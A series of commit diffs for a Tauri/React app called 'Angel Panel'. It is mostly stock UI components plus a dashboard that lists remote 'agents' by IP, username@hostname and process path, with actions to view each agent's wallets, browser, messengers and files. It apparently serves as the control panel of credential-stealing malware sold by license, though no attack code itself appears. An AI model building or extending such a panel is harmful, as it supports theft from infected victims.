const { toasts } = useToast()
return (
<ToastProvider>
{toasts.map(function ({ id, title, description, action, ...props }) {
return (
<Toast key={id} {...props}>
<div className="grid gap-1">
{title && <ToastTitle>{title}</ToastTitle>}
{description && (
<ToastDescription>{description}</ToastDescription>
)}
</div>
{action}
<ToastClose />
</Toast>
)
})}
<ToastViewport />
</ToastProvider>
)
}

View File

@@ -0,0 +1,30 @@
import * as React from "react"
import * as TooltipPrimitive from "@radix-ui/react-tooltip"
import { cn } from "@/lib/utils"
const TooltipProvider = TooltipPrimitive.Provider
const Tooltip = TooltipPrimitive.Root
const TooltipTrigger = TooltipPrimitive.Trigger
const TooltipContent = React.forwardRef<
React.ElementRef<typeof TooltipPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>
>(({ className, sideOffset = 4, ...props }, ref) => (
<TooltipPrimitive.Portal>
<TooltipPrimitive.Content
ref={ref}
sideOffset={sideOffset}
className={cn(
"z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
</TooltipPrimitive.Portal>
))
TooltipContent.displayName = TooltipPrimitive.Content.displayName
export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider }

View File

@@ -0,0 +1,542 @@
"use client";
import * as React from "react";
//import Flag from "react-flagpack";
import {
ContextMenu,
ContextMenuCheckboxItem,
ContextMenuContent,
ContextMenuItem,
ContextMenuLabel,
ContextMenuRadioGroup,
ContextMenuRadioItem,
ContextMenuSeparator,
ContextMenuShortcut,
ContextMenuSub,
ContextMenuSubContent,
ContextMenuSubTrigger,
ContextMenuTrigger,
} from "@/components/ui/context-menu";
import {
CaretSortIcon,
ChevronDownIcon,
DotsHorizontalIcon,
} from "@radix-ui/react-icons";
import {
TableRow,
TableBody,
TableHeader,
TableCell,
Table,
TableHead,
} from "./components/ui/table";
import {
ColumnDef,
ColumnFiltersState,
SortingState,
VisibilityState,
flexRender,
getCoreRowModel,
getFilteredRowModel,
getPaginationRowModel,
getSortedRowModel,
useReactTable,
} from "@tanstack/react-table";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import {
DropdownMenu,
DropdownMenuCheckboxItem,
DropdownMenuContent,
DropdownMenuGroup,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuSeparator,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar";
import { useToast } from "./hooks/use-toast";
import DashSidebar from "./components/sidebar";
import { SidebarTrigger } from "./components/ui/sidebar";
import { ToastAction } from "@/components/ui/toast";
//import Topbar from "./topbar";
type Angel = {
agent_id: string;
country: string;
ip: string;
system: string;
name: string;
process: string;
//activity: boolean;
version: string;
};
export const agents: Angel[] = [
{
agent_id: "728ed52f",
country: "nl-NL",
ip: "193.173.216.118",
system: "Windows 11 Home x64",
name: "aeterna@pterodactyl",
process: "9620 \\ C:\\ProgramData\\Prefetch\\na.exe",
//activity: true,
version: "0.3.4",
},
{
agent_id: "b93ecf71",
country: "us-US",
ip: "192.168.1.101",
system: "Windows 10 Pro x64",
name: "lucas@dinosaur",
process: "8456 \\ C:\\Program Files\\Example\\app.exe",
version: "0.1.2",
},
{
agent_id: "a56d90c2",
country: "gb-GB",
ip: "172.16.254.1",
system: "Windows 11 Home x64",
name: "mia@pterodactyl",
process: "3045 \\ C:\\Users\\Mia\\Documents\\test.exe",
version: "0.5.0",
},
{
agent_id: "c2f1d3a8",
country: "fr-FR",
ip: "10.0.0.5",
system: "Windows 10 Home x64",
name: "noah@velociraptor",
process: "5732 \\ C:\\ProgramData\\Example\\example.exe",
version: "0.2.8",
},
{
agent_id: "e58b60a4",
country: "de-DE",
ip: "198.51.100.1",
system: "Windows 11 Pro x64",
name: "sophia@triceratops",
process: "1903 \\ C:\\Apps\\Example\\launcher.exe",
version: "0.4.3",
},
{
agent_id: "d75a4e0c",
country: "it-IT",
ip: "203.0.113.5",
system: "Windows 10 Home x64",
name: "liam@raptor",
process: "6821 \\ C:\\Program Files\\App\\run.exe",
version: "0.3.9",
},
{
agent_id: "f97cbe2e",
country: "es-ES",
ip: "192.0.2.1",
system: "Windows 10 Pro x64",
name: "ava@dragon",
process: "4593 \\ C:\\Users\\Ava\\Downloads\\program.exe",
version: "0.6.1",
},
{
agent_id: "7bcfd1c3",
country: "jp-JP",
ip: "255.255.255.255",
system: "Windows 11 Home x64",
name: "haruki@bird",
process: "3248 \\ C:\\Program Files (x86)\\Sample\\sample.exe",
version: "0.1.0",
},
{
agent_id: "1e6f0a42",
country: "ca-CA",
ip: "203.0.113.10",
system: "Windows 10 Home x64",
name: "emma@parrot",
process: "8345 \\ C:\\ProgramData\\Apps\\utility.exe",
version: "0.4.2",
},
{
agent_id: "a39f0b77",
country: "au-AU",
ip: "192.0.2.50",
system: "Windows 11 Pro x64",
name: "oliver@ostrich",
process: "4926 \\ C:\\Program Files\\Example\\app.exe",
version: "0.2.5",
},
{
agent_id: "62a1c7b8",
country: "br-BR",
ip: "192.168.0.15",
system: "Windows 10 Pro x64",
name: "isabella@eagle",
process: "1864 \\ C:\\Users\\Isabella\\Desktop\\test.exe",
version: "0.3.7",
},
];
/*export function resolve_country(country: string) {
return <CountryFlag countryCode={country.split("-")[1]} />;
}*/
export const columns: ColumnDef<Angel>[] = [
{
accessorKey: "agent_id",
header: "Agent Identifier",
cell: ({ row }) => (
<div className="uppercase">{row.getValue("agent_id")}</div>
),
},
{
accessorKey: "country",
header: "Country",
//cell: ({ row }) => <div>{resolve_country(row.getValue("country"))}</div>,
cell: ({ row }) => <div>{row.getValue("country")}</div>,
},
{
accessorKey: "ip",
header: "IPv4",
cell: ({ row }) => <div>{row.getValue("ip")}</div>,
},
{
accessorKey: "system",
header: "Operating System",
cell: ({ row }) => <div>{row.getValue("system")}</div>,
},
{
accessorKey: "name",
header: "username@hostname",
cell: ({ row }) => <div>{row.getValue("name")}</div>,
},
{
accessorKey: "process",
header: "PID Process",
cell: ({ row }) => <div>{row.getValue("process")}</div>,
},
/*{
accessorKey: "activity",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Activity
<CaretSortIcon className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => (
<div>{(row.getValue("activity") === true && "Active") ?? "Inactive"}</div>
),
},*/
{
accessorKey: "version",
header: "Angel Version",
cell: ({ row }) => <div>{row.getValue("version")}</div>,
},
{
id: "actions",
enableHiding: false,
cell: ({ row }) => {
const agent = row.original;
return (
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
<span className="sr-only">Open menu</span>
<DotsHorizontalIcon className="h-4 w-4" />
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => navigator.clipboard.writeText(agent.agent_id)}
>
Copy agent ID
</DropdownMenuItem>
<DropdownMenuItem>Agent overview</DropdownMenuItem>
<DropdownMenuSeparator />
<DropdownMenuItem>View wallets</DropdownMenuItem>
<DropdownMenuItem>View network</DropdownMenuItem>
<DropdownMenuItem>View apps</DropdownMenuItem>
<DropdownMenuItem>View browser</DropdownMenuItem>
<DropdownMenuItem>View system info</DropdownMenuItem>
<DropdownMenuItem>View games</DropdownMenuItem>
<DropdownMenuItem>View messengers</DropdownMenuItem>
<DropdownMenuItem>View files</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
);
},
},
];
/*export function DataMeow() {
const chunkArray = (array: Angel[], chunkSize: number): Angel[][] => {
const chunks: Angel[][] = [];
for (let i = 0; i < array.length; i += chunkSize) {
chunks.push(array.slice(i, i + chunkSize));
}
return chunks;
};
const chunks = chunkArray(agents, 5);
return (
<div>
{chunks.map((chunk, index) => (
<div key={index}>
<DataTable tablemeow={chunk} />
</div>
))}
</div>
);
}*/
/*interface DataTableProps {
tablemeow: Angel[];
}*/
//export function DataTable({ tablemeow }: DataTableProps) {
export function DataTable() {
const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
[],
);
const [columnVisibility, setColumnVisibility] =
React.useState<VisibilityState>({});
const [rowSelection, setRowSelection] = React.useState({});
const [pageSize, setPageSize] = React.useState(10);
const [pageIndex, setPageIndex] = React.useState(0);
const table = useReactTable({
data: agents, // tablemeow
columns,
onSortingChange: setSorting,
onColumnFiltersChange: setColumnFilters,
getCoreRowModel: getCoreRowModel(),
getPaginationRowModel: getPaginationRowModel(),
getSortedRowModel: getSortedRowModel(),
getFilteredRowModel: getFilteredRowModel(),
onColumnVisibilityChange: setColumnVisibility,
onRowSelectionChange: setRowSelection,
//manualPagination: false,
state: {
sorting,
columnFilters,
columnVisibility,
rowSelection,
pagination: { pageSize, pageIndex },
},
});
const startRow =
table.getState().pagination.pageIndex *
table.getState().pagination.pageSize +
1;
const endRow = Math.min(
(table.getState().pagination.pageIndex + 1) *
table.getState().pagination.pageSize,
table.getFilteredRowModel().rows.length,
);
return (
<div className="w-full h-full">
<div className="flex flex-wrap break-all items-center py-4">
<Input
placeholder="Filter by name..."
value={(table.getColumn("name")?.getFilterValue() as string) ?? ""}
onChange={(event) =>
table.getColumn("name")?.setFilterValue(event.target.value)
}
className="max-w-sm"
/>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="outline" className="ml-auto">
Columns <ChevronDownIcon className="ml-2 h-4 w-4" />
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
{table
.getAllColumns()
.filter((column) => column.getCanHide())
.map((column) => {
return (
<DropdownMenuCheckboxItem
key={column.id}
className="capitalize"
checked={column.getIsVisible()}
onCheckedChange={(value) =>
column.toggleVisibility(!!value)
}
>
{column.id}
</DropdownMenuCheckboxItem>
);
})}
</DropdownMenuContent>
</DropdownMenu>
</div>
<div className="rounded-md border">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => {
return (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
);
})}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow
key={row.id}
data-state={row.getIsSelected() && "selected"}
>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id} className="break-all flex-wrap">
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center"
>
No results.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
<div className="flex items-center justify-end space-x-2 py-4">
<div className="flex-1 text-sm text-muted-foreground">
Showing {startRow}-{endRow} of{" "}
{table.getFilteredRowModel().rows.length} rows.
</div>
<div className="space-x-2">
<Button
variant="outline"
size="sm"
onClick={() => {
if (table.getCanPreviousPage()) {
setPageIndex((prev) => prev - 1);
}
}}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => {
if (table.getCanNextPage()) {
setPageIndex((prev) => prev + 1);
}
}}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
</div>
);
}
function Dashboard() {
const [time, setTime] = React.useState("");
React.useEffect(() => {
const updateTime = () => {
const currentTime = new Date().toLocaleTimeString();
setTime(currentTime);
};
updateTime();
const intervalId = setInterval(updateTime, 1000);
return () => clearInterval(intervalId);
}, []);
const { toast } = useToast();
return (
<>
<div className="grid grid-cols-[auto_1fr] grid-rows-[auto_1fr] w-full">
<DashSidebar />
<div className="fixed top-0 left-0 w-full flex items-center bg-gray-100 p-1 border-b border-gray-400">
<div className="flex items-center space-x-2">
<img
src="/angel.png"
alt="Logo"
className="w-8 h-8 object-cover rounded-md"
/>
</div>
<div className="flex-1 text-center text-sm">{time}</div>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Avatar className="ml-auto w-8 h-8 text-sm">
<AvatarImage src="/kiss.jpg" alt="@0xkiss" />
<AvatarFallback>meow</AvatarFallback>
</Avatar>
</DropdownMenuTrigger>
<DropdownMenuContent className="w-56">
<DropdownMenuLabel>My Account</DropdownMenuLabel>
<DropdownMenuSeparator />
<DropdownMenuGroup>
<DropdownMenuItem>Profile</DropdownMenuItem>
<DropdownMenuItem>Billing</DropdownMenuItem>
<DropdownMenuItem>Settings</DropdownMenuItem>
</DropdownMenuGroup>
<DropdownMenuSeparator />
<DropdownMenuItem>Leaderboard</DropdownMenuItem>
<DropdownMenuItem>GitHub</DropdownMenuItem>
<DropdownMenuItem>Support</DropdownMenuItem>
<DropdownMenuItem disabled>API</DropdownMenuItem>
<DropdownMenuSeparator />
<DropdownMenuItem>Log out</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
</div>
<div className="p-4">
<div className="w-full h-full mt-5">
<DataTable />
</div>
</div>
</div>
<SidebarTrigger className="absolute bottom-0 right-0" />
</>
);
}
export default Dashboard;

View File

@@ -0,0 +1,24 @@
export let show_splash: boolean = true;
export const getShowSplash = () => show_splash;
export const setShowSplash = (value: boolean) => {
show_splash = value;
};
export async function validate_password(password: string): Promise<boolean> {
return new Promise((resolve) => {
setTimeout(() => {
const securePasswordRegex =
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@${}\[\]()/\\`"':;,.!%*?&^<>~_\-])[A-Za-z\d@${}\[\]()/\\`"':;,.!%*?&^<>~_\-]{8,}$/;
resolve(securePasswordRegex.test(password));
}, 1000);
});
}
export async function open_website(url: string) {
try {
open(url);
} catch (error) {
console.error("Failed to open the website:", error);
}
}

View File

@@ -0,0 +1,19 @@
import * as React from "react"
const MOBILE_BREAKPOINT = 768
export function useIsMobile() {
const [isMobile, setIsMobile] = React.useState<boolean | undefined>(undefined)
React.useEffect(() => {
const mql = window.matchMedia(`(max-width: ${MOBILE_BREAKPOINT - 1}px)`)
const onChange = () => {
setIsMobile(window.innerWidth < MOBILE_BREAKPOINT)
}
mql.addEventListener("change", onChange)
setIsMobile(window.innerWidth < MOBILE_BREAKPOINT)
return () => mql.removeEventListener("change", onChange)
}, [])
return !!isMobile
}

View File

@@ -0,0 +1,191 @@
import * as React from "react"
import type {
ToastActionElement,
ToastProps,
} from "@/components/ui/toast"
const TOAST_LIMIT = 1
const TOAST_REMOVE_DELAY = 1000000
type ToasterToast = ToastProps & {
id: string
title?: React.ReactNode
description?: React.ReactNode
action?: ToastActionElement
}
const actionTypes = {
ADD_TOAST: "ADD_TOAST",
UPDATE_TOAST: "UPDATE_TOAST",
DISMISS_TOAST: "DISMISS_TOAST",
REMOVE_TOAST: "REMOVE_TOAST",
} as const
let count = 0
function genId() {
count = (count + 1) % Number.MAX_SAFE_INTEGER
return count.toString()
}
type ActionType = typeof actionTypes
type Action =
| {
type: ActionType["ADD_TOAST"]
toast: ToasterToast
}
| {
type: ActionType["UPDATE_TOAST"]
toast: Partial<ToasterToast>
}
| {
type: ActionType["DISMISS_TOAST"]
toastId?: ToasterToast["id"]
}
| {
type: ActionType["REMOVE_TOAST"]
toastId?: ToasterToast["id"]
}
interface State {
toasts: ToasterToast[]
}
const toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()
const addToRemoveQueue = (toastId: string) => {
if (toastTimeouts.has(toastId)) {
return
}
const timeout = setTimeout(() => {
toastTimeouts.delete(toastId)
dispatch({
type: "REMOVE_TOAST",
toastId: toastId,
})
}, TOAST_REMOVE_DELAY)
toastTimeouts.set(toastId, timeout)
}
export const reducer = (state: State, action: Action): State => {
switch (action.type) {
case "ADD_TOAST":
return {
...state,
toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),
}
case "UPDATE_TOAST":
return {
...state,
toasts: state.toasts.map((t) =>
t.id === action.toast.id ? { ...t, ...action.toast } : t
),
}
case "DISMISS_TOAST": {
const { toastId } = action
// ! Side effects ! - This could be extracted into a dismissToast() action,
// but I'll keep it here for simplicity
if (toastId) {
addToRemoveQueue(toastId)
} else {
state.toasts.forEach((toast) => {
addToRemoveQueue(toast.id)
})
}
return {
...state,
toasts: state.toasts.map((t) =>
t.id === toastId || toastId === undefined
? {
...t,
open: false,
}
: t
),
}
}
case "REMOVE_TOAST":
if (action.toastId === undefined) {
return {
...state,
toasts: [],
}
}
return {
...state,
toasts: state.toasts.filter((t) => t.id !== action.toastId),
}
}
}
const listeners: Array<(state: State) => void> = []
let memoryState: State = { toasts: [] }
function dispatch(action: Action) {
memoryState = reducer(memoryState, action)
listeners.forEach((listener) => {
listener(memoryState)
})
}
type Toast = Omit<ToasterToast, "id">
function toast({ ...props }: Toast) {
const id = genId()
const update = (props: ToasterToast) =>
dispatch({
type: "UPDATE_TOAST",
toast: { ...props, id },
})
const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id })
dispatch({
type: "ADD_TOAST",
toast: {
...props,
id,
open: true,
onOpenChange: (open) => {
if (!open) dismiss()
},
},
})
return {
id: id,
dismiss,
update,
}
}
function useToast() {
const [state, setState] = React.useState<State>(memoryState)
React.useEffect(() => {
listeners.push(setState)
return () => {
const index = listeners.indexOf(setState)
if (index > -1) {
listeners.splice(index, 1)
}
}
}, [state])
return {
...state,
toast,
dismiss: (toastId?: string) => dispatch({ type: "DISMISS_TOAST", toastId }),
}
}
export { useToast, toast }

View File

@@ -0,0 +1,50 @@
import React from "react";
const Layout: React.FC = () => {
return (
<>
<div data-tauri-drag-region className="titlebar">
<div className="titlebar-button relative group">
<img
src="/close.svg"
alt="close"
className="relative z-10 w-4 h-4 group-hover:hidden"
/>
<img
src="/close_hover.svg"
alt="close hover"
className="relative z-10 w-4 h-4 hidden group-hover:inline"
/>
</div>
<div className="titlebar-button relative group">
<img
src="/minimize.svg"
alt="minimize"
className="relative z-10 w-4 h-4 group-hover:hidden"
/>
<img
src="/minimize_hover.svg"
alt="minimize hover"
className="relative z-10 w-4 h-4 hidden group-hover:inline"
/>
</div>
<div className="titlebar-button relative group">
<img
src="/maximize.svg"
alt="maximize"
className="relative z-10 w-4 h-4 group-hover:hidden"
/>
<img
src="/maximize_hover.svg"
alt="maximize hover"
className="relative z-10 w-4 h-4 hidden group-hover:inline"
/>
</div>
</div>
</>
);
};
export default Layout;

View File

@@ -0,0 +1,6 @@
import { clsx, type ClassValue } from "clsx"
import { twMerge } from "tailwind-merge"
export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs))
}

View File

@@ -0,0 +1,14 @@
import React from "react";
import ReactDOM from "react-dom/client";
import App from "./App";
import { Toaster } from "@/components/ui/toaster";
import { SidebarProvider } from "@/components/ui/sidebar";
ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
<React.StrictMode>
<SidebarProvider>
<App />
<Toaster />
</SidebarProvider>
</React.StrictMode>,
);

View File

@@ -0,0 +1,162 @@
(function oneko() {
const nekoEl = document.createElement("div");
let nekoPosX = 32;
let nekoPosY = 32;
let mousePosX = 0;
let mousePosY = 0;
let frameCount = 0;
let idleTime = 0;
let idleAnimation = null;
let idleAnimationFrame = 0;
const nekoSpeed = 10;
const spriteSets = {
idle: [[-3, -3]],
alert: [[-7, -3]],
scratch: [
[-5, 0],
[-6, 0],
[-7, 0],
],
tired: [[-3, -2]],
sleeping: [
[-2, 0],
[-2, -1],
],
N: [
[-1, -2],
[-1, -3],
],
NE: [
[0, -2],
[0, -3],
],
E: [
[-3, 0],
[-3, -1],
],
SE: [
[-5, -1],
[-5, -2],
],
S: [
[-6, -3],
[-7, -2],
],
SW: [
[-5, -3],
[-6, -1],
],
W: [
[-4, -2],
[-4, -3],
],
NW: [
[-1, 0],
[-1, -1],
],
};
function create() {
nekoEl.id = "oneko";
nekoEl.style.width = "32px";
nekoEl.style.height = "32px";
nekoEl.style.position = "fixed";
nekoEl.style.backgroundImage =
"url('https://estr3llas.github.io/oneko.gif')";
nekoEl.style.imageRendering = "pixelated";
nekoEl.style.left = "16px";
nekoEl.style.top = "16px";
nekoEl.style.zIndex = "99999";
document.body.appendChild(nekoEl);
document.onmousemove = (event) => {
mousePosX = event.clientX;
mousePosY = event.clientY;
};
window.onekoInterval = setInterval(frame, 100);
}
function setSprite(name, frame) {
const sprite = spriteSets[name][frame % spriteSets[name].length];
nekoEl.style.backgroundPosition = `${sprite[0] * 32}px ${sprite[1] * 32}px`;
}
function resetIdleAnimation() {
idleAnimation = null;
idleAnimationFrame = 0;
}
function idle() {
idleTime += 1;
// every ~ 20 seconds
if (
idleTime > 10 &&
Math.floor(Math.random() * 200) == 0 &&
idleAnimation == null
) {
idleAnimation = ["sleeping", "scratch"][Math.floor(Math.random() * 2)];
}
switch (idleAnimation) {
case "sleeping":
if (idleAnimationFrame < 8) {
setSprite("tired", 0);
break;
}
setSprite("sleeping", Math.floor(idleAnimationFrame / 4));
if (idleAnimationFrame > 192) {
resetIdleAnimation();
}
break;
case "scratch":
setSprite("scratch", idleAnimationFrame);
if (idleAnimationFrame > 9) {
resetIdleAnimation();
}
break;
default:
setSprite("idle", 0);
return;
}
idleAnimationFrame += 1;
}
function frame() {
frameCount += 1;
const diffX = nekoPosX - mousePosX;
const diffY = nekoPosY - mousePosY;
const distance = Math.sqrt(diffX ** 2 + diffY ** 2);
if (distance < nekoSpeed || distance < 48) {
idle();
return;
}
idleAnimation = null;
idleAnimationFrame = 0;
if (idleTime > 1) {
setSprite("alert", 0);
// count down after being alerted before moving
idleTime = Math.min(idleTime, 7);
idleTime -= 1;
return;
}
direction = diffY / distance > 0.5 ? "N" : "";
direction += diffY / distance < -0.5 ? "S" : "";
direction += diffX / distance > 0.5 ? "W" : "";
direction += diffX / distance < -0.5 ? "E" : "";
setSprite(direction, frameCount);
nekoPosX -= (diffX / distance) * nekoSpeed;
nekoPosY -= (diffY / distance) * nekoSpeed;
nekoEl.style.left = `${nekoPosX - 16}px`;
nekoEl.style.top = `${nekoPosY - 16}px`;
}
create();
})();

View File

@@ -0,0 +1,27 @@
import { Button } from "@/components/ui/button";
import {
DialogClose,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
} from "@/components/ui/dialog";
export function PrivacyPolicy() {
return (
<DialogContent className="sm:max-w-md">
<DialogHeader>
<DialogTitle>Privacy Policy</DialogTitle>
<DialogDescription>bla bla bla privacy</DialogDescription>
</DialogHeader>
<DialogFooter className="sm:justify-start">
<DialogClose asChild>
<Button type="button" variant="outline">
Close
</Button>
</DialogClose>
</DialogFooter>
</DialogContent>
);
}

View File

@@ -0,0 +1,129 @@
"use client";
import { zodResolver } from "@hookform/resolvers/zod";
import { useForm } from "react-hook-form";
import { z } from "zod";
import { useToast } from "./hooks/use-toast";
import { invoke } from "@tauri-apps/api/core";
import { useNavigate } from "react-router-dom";
import { Button } from "@/components/ui/button";
import {
Form,
FormControl,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { Checkbox } from "@/components/ui/checkbox";
import { validate_password } from "./global";
const formSchema = z.object({
username: z.string().min(3, {
message: "Username must be at least 3 characters long.",
}),
password: z
.string()
.min(8, {
message: "Password must be at least 8 characters long.",
})
.refine(async (password) => await validate_password(password), {
message:
"Password must contain at least one uppercase letter, one lowercase letter, one number, and one special character.",
}),
});
const Sign_in = () => {
const nav = useNavigate();
const form = useForm({
resolver: zodResolver(formSchema),
defaultValues: {
username: "",
password: "",
},
});
const { toast } = useToast();
async function onSubmit(_values: any) {
const version: string = await invoke("get_app_version");
toast({
title: "Success: Signed in",
description: `Loading Angel Panel v${version}...`,
});
setTimeout(() => {
nav("/dash");
}, 2500);
}
return (
<div className="min-h-screen flex items-center justify-center login-box">
<div className="bg-white p-8 rounded-lg shadow-lg w-full">
<h2 className="text-2xl font-bold mb-6 text-center">
Sign in to Your account
</h2>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-6">
<FormField
control={form.control}
name="username"
render={({ field }) => (
<FormItem>
<FormLabel>Username</FormLabel>
<FormControl>
<Input
type="username"
placeholder="Enter your username"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="password"
render={({ field }) => (
<FormItem>
<FormLabel>Password</FormLabel>
<FormControl>
<Input
type="password"
placeholder="Enter your unique password"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="flex items-center space-x-2 sign-in-meow mr-2 text-sm">
<Checkbox id="remember" />
<label
htmlFor="remember"
className="font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
>
Remember me
</label>
<span className="mx-1">-</span>
<button
onClick={() => nav("/sign_up")}
className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition"
>
Sign up
</button>
</div>
<Button type="submit" className="w-full">
Continue
</Button>
</form>
</Form>
</div>
</div>
);
};
export default Sign_in;

View File

@@ -0,0 +1,228 @@
"use client";
import { zodResolver } from "@hookform/resolvers/zod";
import { useForm } from "react-hook-form";
import { z } from "zod";
import { useToast } from "./hooks/use-toast";
import { invoke } from "@tauri-apps/api/core";
import { useNavigate } from "react-router-dom";
import { Button } from "@/components/ui/button";
import {
Form,
FormControl,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { Checkbox } from "@/components/ui/checkbox";
import { validate_password, open_website } from "./global";
import { TermsConditions } from "./terms";
import { PrivacyPolicy } from "./privacy";
import { Dialog, DialogTrigger, DialogOverlay } from "@/components/ui/dialog";
async function validate_license(license: string): Promise<boolean> {
const isValid: boolean = await invoke("validate_license", {
license: license,
});
return new Promise((resolve) => {
setTimeout(() => {
resolve(isValid);
}, 1000);
});
}
async function validate_username(username: string): Promise<boolean> {
const isValid: boolean = await invoke("validate_username", {
username: username,
});
return new Promise((resolve) => {
setTimeout(() => {
resolve(isValid);
}, 1000);
});
}
const formSchema = z.object({
license: z
.string()
.refine(async (license) => await validate_license(license), {
message: "Invalid license. Please provide a valid license key.",
}),
username: z
.string()
.min(3, {
message: "Username must be at least 3 characters long.",
})
.refine(async (username) => await validate_username(username), {
message: "Username is already in use. Please choose a different one.",
}),
password: z
.string()
.min(8, {
message: "Password must be at least 8 characters long.",
})
.refine(async (password) => await validate_password(password), {
message:
"Password must contain at least one uppercase letter, one lowercase letter, one number, and one special character.",
}),
terms: z.boolean().refine((val) => val === true, {
message: "You must accept the Terms and Conditions.",
}),
});
const Sign_up = () => {
const nav = useNavigate();
const form = useForm({
resolver: zodResolver(formSchema),
defaultValues: {
username: "",
password: "",
license: "",
terms: false,
},
});
const { toast } = useToast();
async function onSubmit(_values: any) {
const version: string = await invoke("get_app_version");
toast({
title: "Success: Signed up",
description: `Loading Angel Panel v${version}...`,
});
setTimeout(() => {
nav("/dash");
}, 2500);
}
return (
<div className="min-h-screen flex items-center justify-center login-box">
<div className="bg-white shadow-lg p-8 rounded-lg w-full">
<h2 className="text-2xl font-bold mb-6 text-center">
Create an account
</h2>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-6">
<FormField
control={form.control}
name="username"
render={({ field }) => (
<FormItem>
<FormLabel>Username</FormLabel>
<FormControl>
<Input
type="username"
placeholder="Enter your desired username"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="password"
render={({ field }) => (
<FormItem>
<FormLabel>Password</FormLabel>
<FormControl>
<Input
type="password"
placeholder="Enter your unique password"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="license"
render={({ field }) => (
<FormItem>
<FormLabel>License</FormLabel>
<FormControl>
<Input
type="license"
placeholder="1E838829-5117-4AaA-8727-B15Ab178D0e5"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="flex items-center space-x-2 sign-in-meow mr-2 text-sm">
<button
onClick={() => nav("/sign_in")}
className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition"
>
Sign in
</button>
<span className="mx-1">-</span>
<button
onClick={() => {
open_website("https://hentaihaven.xxx/");
}}
className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition"
>
Purchase
</button>
</div>
<FormField
control={form.control}
name="terms"
render={({ field }) => (
<div className="flex items-center space-x-2 sign-in-meow mr-2 text-sm">
<Checkbox
id="terms"
checked={field.value}
onCheckedChange={field.onChange}
/>
<label
htmlFor="terms"
className="font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
>
I accept the{" "}
<Dialog>
<DialogTrigger asChild>
<button className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition hover:no-underline underline">
Terms and Conditions
</button>
</DialogTrigger>
<DialogOverlay className="dialog-overlay" />
<TermsConditions />
</Dialog>{" "}
and acknowledge the{" "}
<Dialog>
<DialogTrigger asChild>
<button className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition hover:no-underline underline">
Privacy Policy
</button>
</DialogTrigger>
<DialogOverlay className="dialog-overlay" />
<PrivacyPolicy />
</Dialog>
.
</label>
<FormMessage />
</div>
)}
/>
<Button type="submit" className="w-full">
Continue
</Button>
</form>
</Form>
</div>
</div>
);
};
export default Sign_up;

View File

@@ -0,0 +1,13 @@
const SplashScreen = () => {
return (
